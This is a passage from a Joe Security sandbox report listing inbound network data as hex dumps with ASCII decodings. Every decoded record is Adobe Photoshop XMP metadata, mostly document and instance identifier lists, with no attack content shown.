48702E1D022561864DA3D81AA</rdf:li> <rdf:li>FB7BE69E376DCEF106CD615387A725F2</rdf:li> <rdf:li>FB9A65E
B76E948E6640D5A400DD0463E</rdf:li> <rdf:li>FB9C1DBE95E29C32AD38E664

2022-06-08 07:56:16 UTC 3937 IN Data Raw: 34 34 30 61 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 
68 6f 74 6f 73 68 6f 70 3a 32 33 35 37 30 64 31 33 2d 39 38 39 61 2d 31 31 64 39 2d 61 30 39 36 2d 61 31 38 31 31 30 
65 36 39 32 66 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 
6f 73 68 6f 70 3a 32 33 38 31 64 66 36 37 2d 35 34 39 65 2d 36 38 34 62 2d 39 66 38 30 2d 64 33 64 66 37 65 63 32 65 
30 33 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 
6f 70 3a 32 33 64 34 36 31 37 32 2d 30 34 64 64 2d 31 31 37 39 2d 61 39 64 32 2d 38 38 38 36 33 65 31 66 61 37 32 30 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 
Data Ascii: 440ad</rdf:li> <rdf:li>adobe:docid:photoshop:23570d13-989a-11d9-a096-a18110e692f2</rdf:li> <rdf:li
>adobe:docid:photoshop:2381df67-549e-684b-9f80-d3df7ec2e03e</rdf:li> <rdf:li>adobe:docid:photoshop:23d46172-04
dd-1179-a9d2-88863e1fa720</rdf:li> <rdf:li>adob

2022-06-08 07:56:16 UTC 3953 IN Data Raw: 3a 35 32 61 37 35 36 62 38 2d 38 33 30 64 2d 31 31 64 38 2d 39 30 66 30 2d 61 30 65 36 39 35 66 62 31 33 
65 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 
70 3a 35 32 62 39 36 62 65 65 2d 33 33 31 30 2d 31 31 37 39 2d 38 37 39 35 2d 66 61 37 38 31 65 62 65 34 37 34 36 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 
32 62 64 35 38 37 32 2d 39 39 32 65 2d 31 31 64 39 2d 38 31 64 34 2d 39 62 37 64 30 31 66 39 37 32 32 64 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 33 34 32 
62 66 36 38 2d 30 66 36 37 2d 31 31 64 65 2d 38 63 38 39 2d 61 62 
Data Ascii: :52a756b8-830d-11d8-90f0-a0e695fb13e8</rdf:li> <rdf:li>adobe:docid:photoshop:52b96bee-3310-1179-8795-
fa781ebe4746</rdf:li> <rdf:li>adobe:docid:photoshop:52bd5872-992e-11d9-81d4-9b7d01f9722d</rdf:li> <rdf:li>a
dobe:docid:photoshop:5342bf68-0f67-11de-8c89-ab

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 118 of 211



2022-06-08 07:56:16 UTC 4120 IN Data Raw: 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 64 32 36 66 65 61 
38 2d 34 65 66 35 2d 31 31 64 37 2d 38 37 65 38 2d 64 37 61 64 35 32 34 66 38 65 35 61 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 64 33 37 62 36 64 34 2d 63 
62 39 38 2d 31 31 37 39 2d 62 32 32 34 2d 64 62 65 30 65 32 35 39 65 31 61 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 64 39 34 34 37 62 65 2d 33 63 39 34 
2d 31 31 64 61 2d 39 31 31 66 2d 61 38 35 34 66 37 62 39 37 36 63 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 
Data Ascii: rdf:li>adobe:docid:photoshop:6d26fea8-4ef5-11d7-87e8-d7ad524f8e5a</rdf:li> <rdf:li>adobe:docid:pho
toshop:6d37b6d4-cb98-1179-b224-dbe0e259e1aa</rdf:li> <rdf:li>adobe:docid:photoshop:6d9447be-3c94-11da-911f-a85
4f7b976c7</rdf:li> <rdf:li>adobe:docid:photosho

2022-06-08 07:56:16 UTC 4144 IN Data Raw: 31 64 61 2d 62 39 35 38 2d 62 34 37 61 63 34 62 36 30 33 30 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 64 34 66 33 37 32 66 2d 65 65 63 33 2d 31 
31 65 34 2d 38 65 37 63 2d 66 35 65 62 36 34 32 30 65 63 63 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 64 62 38 36 36 66 62 2d 33 36 35 32 2d 31 31 37 39 
2d 38 37 39 35 2d 66 61 37 38 31 65 62 65 34 37 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 
62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 65 33 34 39 37 66 31 2d 35 66 64 39 2d 31 31 37 38 2d 39 61 
35 37 2d 61 62 36 36 65 37 65 66 61 61 38 38 3c 2f 72 64 66 3a 
Data Ascii: 1da-b958-b47ac4b6030e</rdf:li> <rdf:li>adobe:docid:photoshop:9d4f372f-eec3-11e4-8e7c-f5eb6420ecc9<
/rdf:li> <rdf:li>adobe:docid:photoshop:9db866fb-3652-1179-8795-fa781ebe4746</rdf:li> <rdf:li>adobe:docid:photo
shop:9e3497f1-5fd9-1178-9a57-ab66e7efaa88</rdf:

2022-06-08 07:56:16 UTC 4176 IN Data Raw: 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 33 33 39 33 64 31 37 2d 33 39 62 65 2d 31 31 
65 37 2d 62 33 36 66 2d 66 38 31 66 37 39 39 32 32 33 61 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 
64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 33 34 38 31 39 39 35 2d 31 62 65 37 2d 31 31 64 61 2d 
62 32 34 63 2d 62 65 32 36 64 62 62 34 32 37 64 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 
65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 34 63 63 65 35 31 64 2d 65 34 62 37 2d 31 31 65 36 2d 39 66 33 
34 2d 65 30 63 34 65 32 65 62 37 36 35 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 
63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 35 37 34 30 31 61 
Data Ascii: obe:docid:photoshop:d3393d17-39be-11e7-b36f-f81f799223a6</rdf:li> <rdf:li>adobe:docid:photoshop:d3
481995-1be7-11da-b24c-be26dbb427d9</rdf:li> <rdf:li>adobe:docid:photoshop:d4cce51d-e4b7-11e6-9f34-e0c4e2eb765d
</rdf:li> <rdf:li>adobe:docid:photoshop:d57401a

2022-06-08 07:56:16 UTC 4231 IN Data Raw: 38 32 30 64 31 34 66 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 
64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 62 36 66 32 66 38 39 2d 64 36 33 35 2d 31 31 65 35 2d 39 63 65 32 2d 39 33 33 
37 38 66 30 30 31 35 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 
68 6f 74 6f 73 68 6f 70 3a 65 62 38 31 30 62 66 38 2d 33 31 34 32 2d 31 31 37 38 2d 61 33 63 31 2d 64 64 33 65 30 66 
33 34 61 65 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 
6f 73 68 6f 70 3a 65 62 39 65 34 61 63 38 2d 65 64 32 37 2d 31 31 37 39 2d 61 62 66 32 2d 62 34 65 61 34 30 34 35 62 3
6 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 
Data Ascii: 820d14ff</rdf:li> <rdf:li>adobe:docid:photoshop:eb6f2f89-d635-11e5-9ce2-93378f001563</rdf:li> <rdf
:li>adobe:docid:photoshop:eb810bf8-3142-1178-a3c1-dd3e0f34ae70</rdf:li> <rdf:li>adobe:docid:photoshop:eb9e4ac8-
ed27-1179-abf2-b4ea4045b646</rdf:li> <rdf:li>a

2022-06-08 07:56:16 UTC 4247 IN Data Raw: 37 44 30 30 46 35 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 32 35 43 34 
33 35 46 36 30 37 44 45 30 31 31 42 46 37 34 42 36 38 46 32 37 42 37 33 30 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 75 75 69 64 3a 32 32 36 42 39 41 33 43 34 46 35 41 44 43 31 31 39 37 34 44 43 42 35 43 42 31 37 34 
31 44 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 32 38 43 37 45 42 36 33 37 34 33 4
4 43 31 31 42 43 31 36 41 30 45 35 43 34 32 37 46 33 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 
69 64 3a 32 32 41 42 35 46 35 33 45 42 41 34 45 34 31 31 38 39 43 38 46 31 34 38 37 33 44 32 44 38 46 33 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 33 31 44 
Data Ascii: 7D00F5A6</rdf:li> <rdf:li>uuid:225C435F607DE011BF74B68F27B73003</rdf:li> <rdf:li>uuid:226B9A3C4F5A
DC11974DCB5CB1741D28</rdf:li> <rdf:li>uuid:228C7EB63743DC11BC16A0E5C427F35A</rdf:li> <rdf:li>uuid:22
AB5F53EBA4E41189C8F14873D2D8F3</rdf:li> <rdf:li>uuid:231D

2022-06-08 07:56:17 UTC 4988 IN Data Raw: 38 42 39 30 44 34 32 43 38 42 44 46 31 31 38 33 45 43 39 34 35 44 33 46 34 31 41 38 45 44 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 37 39 35 33 31 35 31 33 31 30 43 44 46 31 31 38 44 41 43 39 
41 32 43 39 44 35 38 44 41 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 37 41 32 32 3
6 34 31 32 44 45 41 45 30 31 31 38 43 43 46 38 46 41 35 36 46 46 38 44 36 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 75 75 69 64 3a 35 37 44 42 44 38 34 45 43 31 36 32 45 30 31 31 38 43 31 36 44 31 42 39 37 41 32 35 
36 35 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 38 30 35 35 46 43 42 39 37 41 35 
31 31 44 44 41 37 45 32 39 43 30 46 33 36 32 37 30 46 46 42 3c 2f 72 64 66 
Data Ascii: 8B90D42C8BDF1183EC945D3F41A8ED</rdf:li> <rdf:li>uuid:57953151310CDF118DAC9A2C9D58DA96</r
df:li> <rdf:li>uuid:57A226412DEAE0118CCF8FA56FF8D6A6</rdf:li> <rdf:li>uuid:57DBD84EC162E0118C16D1B97
A256573</rdf:li> <rdf:li>uuid:58055FCB97A511DDA7E29C0F36270FFB</rdf

2022-06-08 07:56:17 UTC 4996 IN Data Raw: 46 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 30 43 42 35 37 35 32 30 33 
38 46 31 31 45 30 42 43 39 44 45 46 42 45 30 36 36 43 44 38 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 75 75 69 64 3a 37 30 44 38 35 37 37 41 33 31 42 41 31 31 44 45 42 33 42 43 43 31 34 34 30 36 43 31 37 46 36 41 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 30 45 39 42 34 35 41 30 41 36 43 44 45 31 31 41 
44 36 33 46 36 41 46 32 45 41 35 33 39 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 
30 46 46 31 45 42 45 37 42 33 33 44 43 31 31 39 31 35 38 38 32 46 41 42 43 41 45 35 43 42 30 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 31 30 44 31 39 46 45 46 
Data Ascii: FC4</rdf:li> <rdf:li>uuid:70CB5752038F11E0BC9DEFBE066CD848</rdf:li> <rdf:li>uuid:70D8577
A31BA11DEB3BCC14406C17F6A</rdf:li> <rdf:li>uuid:70E9B45A0A6CDE11AD63F6AF2EA539A9</rdf:li> <rdf:li>uu
id:70FF1EBE7B33DC11915882FABCAE5CB0</rdf:li> <rdf:li>uuid:710D19FEF

2022-06-08 07:56:17 UTC 5012 IN Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 30 43 41 37 39 37 31 32 35 32 39 44 46 
31 31 42 30 45 43 38 33 39 44 30 35 30 35 37 30 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 
64 3a 41 30 46 33 38 46 38 44 42 41 30 41 45 31 31 31 42 34 36 36 39 38 34 33 31 43 41 30 34 33 42 33 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 31 37 46 45 32 45 31 43 43 33 46 44 46 31 31 38 46 35 34 42 
36 42 45 31 45 38 30 45 41 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 31 39 30 34 
46 44 32 39 32 37 46 31 31 45 30 38 31 38 46 46 41 44 32 32 36 45 33 30 41 42 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 75 75 69 64 3a 41 31 41 32 46 45 45 35 43 39 36 38 31 
Data Ascii: /rdf:li> <rdf:li>uuid:A0CA79712529DF11B0EC839D05057066</rdf:li> <rdf:li>uuid:A0F38F8DBA0AE111B4669
8431CA043B3</rdf:li> <rdf:li>uuid:A17FE2E1CC3FDF118F54B6BE1E80EACF</rdf:li> <rdf:li>uuid:A1904FD2927
F11E0818FFAD226E30AB9</rdf:li> <rdf:li>uuid:A1A2FEE5C9681
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2022-06-08 07:56:17 UTC 5028 IN Data Raw: 43 44 41 31 46 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 44 46 31 39 37 
34 46 32 45 33 38 44 46 31 31 41 46 39 32 42 45 43 45 32 39 37 34 44 31 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 75 75 69 64 3a 44 45 31 38 36 44 45 41 38 37 36 36 45 30 31 31 42 41 45 45 38 32 33 30 33 31 31 36 46 
44 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 45 36 38 44 38 36 39 35 39 31 42 44 4
4 31 31 39 39 34 37 45 30 33 43 35 32 42 45 46 31 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 
64 3a 44 45 39 38 30 41 32 31 35 41 45 36 44 45 31 31 39 30 41 45 42 41 46 36 33 33 32 46 43 36 43 30 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 45 41 31 39 
Data Ascii: CDA1F93</rdf:li> <rdf:li>uuid:DDF1974F2E38DF11AF92BECE2974D198</rdf:li> <rdf:li>uuid:DE1
86DEA8766E011BAEE82303116FD2D</rdf:li> <rdf:li>uuid:DE68D869591BDD119947E03C52BEF1B0</rdf:li> <rdf:l
i>uuid:DE980A215AE6DE1190AEBAF6332FC6C0</rdf:li> <rdf:li>uuid:DEA19

2022-06-08 07:56:17 UTC 5036 IN Data Raw: 64 3a 46 39 44 45 39 35 35 33 41 39 39 45 31 31 45 31 42 31 45 38 39 45 31 46 30 42 30 38 42 44 37 32 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 41 38 30 33 32 42 43 44 38 34 32 44 46 31 31 42 38 
32 31 43 45 35 41 31 34 30 41 37 31 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 42 
39 44 46 38 42 46 33 35 44 46 44 45 31 31 41 32 39 45 45 34 37 35 45 42 37 42 37 32 32 38 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 42 43 39 37 36 31 42 30 33 36 33 44 43 31 31 39 46 30 46 43 43 36 30 37 
32 39 32 34 30 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 42 44 38 36 33 35 35 44 
30 36 36 44 45 31 31 38 36 43 39 41 41 35 43 30 39 36 43 43 30 44 39 3c 
Data Ascii: d:F9DE9553A99E11E1B1E89E1F0B08BD72</rdf:li> <rdf:li>uuid:FA8032BCD842DF11B821CE5A140A715
B</rdf:li> <rdf:li>uuid:FB9DF8BF35DFDE11A29EE475EB7B7228</rdf:li> <rdf:li>uuid:FBC9761B0363DC119F0FC
C6072924017</rdf:li> <rdf:li>uuid:FBD86355D066DE1186C9AA5C096CC0D9<

2022-06-08 07:56:17 UTC 5052 IN Data Raw: 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 
30 37 32 30 36 38 31 31 38 43 31 34 38 39 32 36 36 35 38 34 44 37 42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 43 31 34 42 31 37 36 33 33 38 43 
43 44 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 3
7 32 30 36 38 31 31 38 43 31 34 42 38 37 30 37 44 35 37 30 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 43 31 34 43 43 33 37 36 32 34 44 32 31 
43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
Data Ascii: 27</rdf:li> <rdf:li>xmp.did:02801174072068118C1489266584D7B2</rdf:li> <rdf:li>xmp.did:028011740720
68118C14B176338CCD7B</rdf:li> <rdf:li>xmp.did:02801174072068118C14B8707D570A5C</rdf:li> <rdf:li>xmp.
did:02801174072068118C14CC37624D21CA</rdf:li> <rdf:li>xmp

2022-06-08 07:56:17 UTC 5068 IN Data Raw: 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 35 46 45 38 31 31 42 33 
39 31 42 45 30 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 
37 34 30 37 32 30 36 38 31 31 39 37 41 35 38 33 37 39 41 31 45 33 42 34 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 39 34 43 42 37 36 46 36 43 
34 30 32 44 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 
34 30 37 32 30 36 38 31 31 39 45 43 36 44 39 38 46 43 42 42 33 41 34 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 
Data Ascii: i>xmp.did:068011740720681195FE811B391BE06C</rdf:li> <rdf:li>xmp.did:068011740720681197A5
8379A1E3B414</rdf:li> <rdf:li>xmp.did:0680117407206811994CB76F6C402DAA</rdf:li> <rdf:li>xmp.did:0680
1174072068119EC6D98FCBB3A492</rdf:li> <rdf:li>xmp.did:0680117407206

2022-06-08 07:56:17 UTC 5076 IN Data Raw: 41 31 36 31 32 37 30 43 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 
39 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 37 31 46 45 33 32 30 45 39 44 37 32 46 41 35 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 38 43 36 39 
39 37 32 41 37 30 36 37 39 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 3
8 30 31 31 37 34 30 37 32 30 36 38 31 31 38 38 43 36 42 30 43 43 39 35 33 38 34 46 31 43 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 43 31 34 42 39 
39 35 30 45 36 44 39 32 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
Data Ascii: A161270C9</rdf:li> <rdf:li>xmp.did:0980117407206811871FE320E9D72FA5</rdf:li> <rdf:li>xmp.did:09801
1740720681188C69972A70679EF</rdf:li> <rdf:li>xmp.did:098011740720681188C6B0CC95384F1C</rdf:li> <rdf:
li>xmp.did:09801174072068118C14B9950E6D9222</rdf:li> <rdf

2022-06-08 07:56:17 UTC 5092 IN Data Raw: 37 42 35 35 37 38 32 37 36 32 32 36 38 31 31 41 42 30 38 44 31 43 41 36 32 45 36 46 30 38 44 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 37 42 41 33 45 42 41 41 39 32 43 45 31 31 31 39 38 
38 37 39 38 32 42 33 37 36 35 37 46 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 31 37 42 44 37 39 34 36 31 33 32 30 36 38 31 31 39 39 34 43 45 37 39 41 35 37 35 35 35 41 41 30 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 37 44 37 37 44 35 33 31 33 32 30 36 38 31 31 39 37 41 
35 41 33 39 37 42 45 33 32 45 30 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
31 37 45 44 32 46 34 43 32 35 32 36 36 38 31 31 39 34 35 37 39 43 35 32 
Data Ascii: 7B5578276226811AB08D1CA62E6F08D</rdf:li> <rdf:li>xmp.did:17BA3EBAA92CE1119887982B37657FB
1</rdf:li> <rdf:li>xmp.did:17BD794613206811994CE79A57555AA0</rdf:li> <rdf:li>xmp.did:17D77D531320681
197A5A397BE32E0EE</rdf:li> <rdf:li>xmp.did:17ED2F4C2526681194579C52

2022-06-08 07:56:17 UTC 5108 IN Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 41 30 30 45 32 32 45 34 38 
43 31 31 44 46 42 30 39 39 45 43 41 34 43 45 31 46 43 43 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 32 37 41 37 46 41 34 34 37 46 41 43 31 31 45 31 39 35 35 45 42 31 31 39 35 33 39 35 31 32 32 
37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 42 30 43 35 44 41 46 31 32 30 3
6 38 31 31 42 44 34 43 46 34 46 39 43 30 31 45 39 38 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 32 37 44 45 33 30 41 34 37 44 36 41 31 31 45 30 42 31 42 46 45 43 36 30 38 36 37 33 39 36 42 46 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
Data Ascii: /rdf:li> <rdf:li>xmp.did:27A00E22E48C11DFB099ECA4CE1FCC73</rdf:li> <rdf:li>xmp.did:27A7FA447FAC11E
1955EB11953951227</rdf:li> <rdf:li>xmp.did:27B0C5DAF1206811BD4CF4F9C01E982A</rdf:li> <rdf:li>xmp.did
:27DE30A47D6A11E0B1BFEC60867396BF</rdf:li> <rdf:li>xmp.di

2022-06-08 07:56:17 UTC 5115 IN Data Raw: 32 33 38 32 2d 34 38 37 31 2d 39 39 32 65 2d 30 62 34 34 37 32 65 38 38 35 63 64 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 62 38 36 66 38 65 61 2d 63 34 65 33 2d 38 35 34 64 2d 62 64 30 
30 2d 35 37 32 63 62 39 39 34 34 37 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 32 62 61 63 38 63 61 38 2d 63 62 63 31 2d 62 66 34 39 2d 38 32 37 31 2d 63 36 65 35 30 32 64 36 62 32 61 33 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 62 61 65 62 30 63 64 2d 33 32 32 65 2d 33 
30 34 31 2d 39 63 66 31 2d 33 33 32 32 37 35 35 31 30 61 65 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 32 62 62 34 36 30 65 61 2d 33 63 35 34 2d 30 61 
Data Ascii: 2382-4871-992e-0b4472e885cd</rdf:li> <rdf:li>xmp.did:2b86f8ea-c4e3-854d-bd00-572cb99447af</rdf:li> 
<rdf:li>xmp.did:2bac8ca8-cbc1-bf49-8271-c6e502d6b2a3</rdf:li> <rdf:li>xmp.did:2baeb0cd-322e-3041-9cf1-3322755
10aeb</rdf:li> <rdf:li>xmp.did:2bb460ea-3c54-0a
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2022-06-08 07:56:17 UTC 5131 IN Data Raw: 44 43 36 33 38 46 39 46 43 39 35 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 33 45 32 39 33 34 43 34 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 45 32 41 31 41 45 46 45 43 32 30 36 38 31 31 38 
43 31 34 45 43 36 39 39 31 34 43 38 35 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 6
4 3a 33 45 36 36 41 33 33 46 39 31 32 31 36 38 31 31 39 31 30 39 42 31 36 46 38 37 44 31 34 32 36 35 3c 2f 72 64 66 
